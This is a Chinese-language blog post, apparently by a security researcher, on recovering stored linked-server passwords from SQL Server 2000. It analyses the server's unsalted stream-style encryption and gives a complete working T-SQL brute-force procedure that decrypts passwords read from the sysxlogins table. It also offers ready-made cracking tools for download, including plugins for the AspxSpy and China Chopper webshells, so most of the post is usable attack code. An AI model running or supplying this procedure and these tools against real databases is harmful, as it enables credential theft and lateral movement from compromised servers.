现在的位置: 首页 Sql >正文

MSSQL2000链接数据库密码破解思路与工具

之前netspi提供的链接数据库破解思路不适用于mssql 2000,于是看了看mssql 2000的加密方式,幸好人品足够过关,找到了一个不算太好的破解方式,做个笔记。

测试环境为2003sp2+mssql 2000,版本号是8.0.0.194,其他版本有待测试(应该不会有问题)。


破解思路:

首先绝大部分的sql内置存储过程是可以反编译的:在对象浏览器中定位到存储过程,然后选择编写对象脚本->创建即可看到源码。设置链接数据库密码的存储过程是sp_addlinkedsrvlogin,于是反编译这个存储过程,可以看到最后的一次插入操作:

其中调用了encrypt函数将密码加密,并转换为varbinary(256)后保存至sysxlogins表内。

直接在查询中调用此函数会返回原字符串的Unicode编码表现形式,必须在存储过程中使用才能得到真正的加密结果。于是使用以下代码对字符串1-123456789分别进行加密,测试其是否有规律可循:

--添加链接服务器
exec sp_addlinkedserver  @server= 'server'
--直接查询将返回原字符串的Unicode编码表现形式
print encrypt('123456789')
print '------------'
--抑制插入操作的输出
set nocount on
declare @i int,@s sysname
set @i=1
set @s=''
while @i<10 
begin
    set @s=@s+cast(@i as varchar)
    exec sp_addlinkedsrvlogin 'server',false,NULL,'sa',@s
    declare @pass varbinary(256)
    --最后一条数据对应最后添加的链接服务器数据
    select top 1 @pass=[password] from sysxlogins order by srvid desc
    print @s+replicate(' ',10-len(@s))+'|'+dbo.fn_varbintohexstr(@pass)
    set @i=@i+1
end
set nocount off
go
--添加一个自定义存储过程调用此函数
create procedure zcg_test_encrypt @pwd sysname =NULL as 
begin
    print @pwd+replicate(' ',10-len(@pwd))+'|'+dbo.fn_varbintohexstr(encrypt(@pwd))
end
go
--调用
print '------------'
declare @i int,@s sysname
set @i=1
set @s=''
while @i<10 
begin
    set @s=@s+cast(@i as varchar)
    exec zcg_test_encrypt @s
    set @i=@i+1
end

可以得到以下结果(不同机器上可能会有所不同):

0x310032003300340035003600370038003900
------------
1         |0x4b89
12        |0x4b898314
123       |0x4b8983144844
1234      |0x4b8983144844fad9
12345     |0x4b8983144844fad9d74e
123456    |0x4b8983144844fad9d74e90a3
1234567   |0x4b8983144844fad9d74e90a3c261
12345678  |0x4b8983144844fad9d74e90a3c2610c52
123456789 |0x4b8983144844fad9d74e90a3c2610c5211ca
------------
1         |0x4b89
12        |0x4b898314
123       |0x4b8983144844
1234      |0x4b8983144844fad9
12345     |0x4b8983144844fad9d74e
123456    |0x4b8983144844fad9d74e90a3
1234567   |0x4b8983144844fad9d74e90a3c261
12345678  |0x4b8983144844fad9d74e90a3c2610c52
123456789 |0x4b8983144844fad9d74e90a3c2610c5211ca

可以看到:密文长度与明文长度成正比,每个逻辑字符加密后变为两个字节,后续字符不影响之前字符的加密结果,是典型的流式密码加密。

多次执行以上语句,发现返回值完全相同,证明没有随机盐的存在。

开始以为是RC4,但对加密API下断点无果。鉴于其是流式密码,于是想到暴力破解:

枚举所有可能的字符依次进行加密
如果结果与密文的前几位相同则认为找到了对应字符
在其后添加新字符,重复以上过程,直到找到所有字符

sp_addlinkedsrvlogin存储过程的rmtpassword参数是nvarchar(128),其单个字符取值范围是0-65535,根据以上思路编写存储过程:

create procedure zcg_decrypt
    @enc varbinary(256) =NULL,@pwd varchar(256) output
as
begin
    declare @len int
    declare @i int
    declare @c int
    if @enc is null return(0)
    set @len= datalength(@enc)
    set @i=1
    set @pwd=''
    while @i*2<=@len
        begin
            set @c=0
            begin
                while @c<65536
                begin
                    if encrypt(@pwd+nchar(@c))=substring(@enc,1,@i*2)
                    begin
                        set @pwd=@pwd+nchar(@c)
                        set @c=99999
                    end
                    set @c=@c+1
                end
                if @c=65536
                begin
                    set @pwd='err at index:'+cast(@i as varchar(256))+',part of password is: '+@pwd
                    return 0
                end
            end
            set @i=@i+1
        end
    return 1
end

最坏的情况下只需要65535*datalength(hash)/2次函数调用就能得到正确的结果。而实际中密码多数情况下都是字母数字或符号,在这种情况下速度将大大提高。


验证:

--添加一个包含各种字符的超级变态密码
set nocount on
exec sp_addlinkedsrvlogin 'server',false,NULL,'sa','aasdc密**码#$@qCVTRW%密码(by密码9asyxd密码b2rxXD密码ZSDX密码b'
set nocount off
--尝试进行解密
declare @enc varbinary(256),@pwd sysname
select top 1 @enc=[password] from sysxlogins order by srvid desc
exec zcg_decrypt @enc,@pwd output
print @pwd

执行此查询,可见成功打印出了原密码,耗时仅两秒左右。


工具及附件:

lspwd2k.exe为一键获取工具,lspwd2k.cs为源码,编译命令行:

csc lspwd2k.cs

此工具支持传入参数,第一个参数为连接字符串(可选)。如果不提供参数,则使用默认的windows认证。


在asp.net中利用的工具以AspxSpy插件形式提供,GetMSSQL2kLinkedServerPasswordPlugin.cs为源码,编译命令行:

csc /t:library GetMSSQL2kLinkedServerPasswordPlugin.cs

GetMSSQL2kLinkedServerPasswordPlugin.dll和GetMSSQL2kLinkedServerPasswordPlugin.dll.Deflated分别为未压缩和压缩后的插件。插件信息如下:

TypeName:Zcg.Test.AspxSpyPlugins.GetMSSQL2kLinkedServerPasswordPlugin
MethodName:Run
HTML Result:true
Params:连接字符串(可选),如果不提供则使用默认的windows认证。

输出:数据库中所有链接数据库信息。


以上工具均基于.net 2.0编写,鉴于mssql 2000属于古董级的程序,使用此数据库的服务器很有可能未安装.net,在此额外提供vbs版本、asp版本与菜刀插件。

lspwd2k.asp为asp版本,使用前请修改第三行的连接字符串。

lspwd2k.ccc为菜刀插件,使用前请修改第一行的连接字符串。

lspwd2k.vbs为vbs版本,同样支持将连接字符串作为参数,注意要用cscript执行。


由于所有操作都是数据库查询,所以只需数据库的sa权限即可利用以上工具,不要求必须在数据库服务器本机上执行

调用结果如图:


下载地址:       mssql2k_linkedserver_pwd.zip

百度网盘:http://pan.baidu.com/s/1c0ixDw0

解压密码见注释。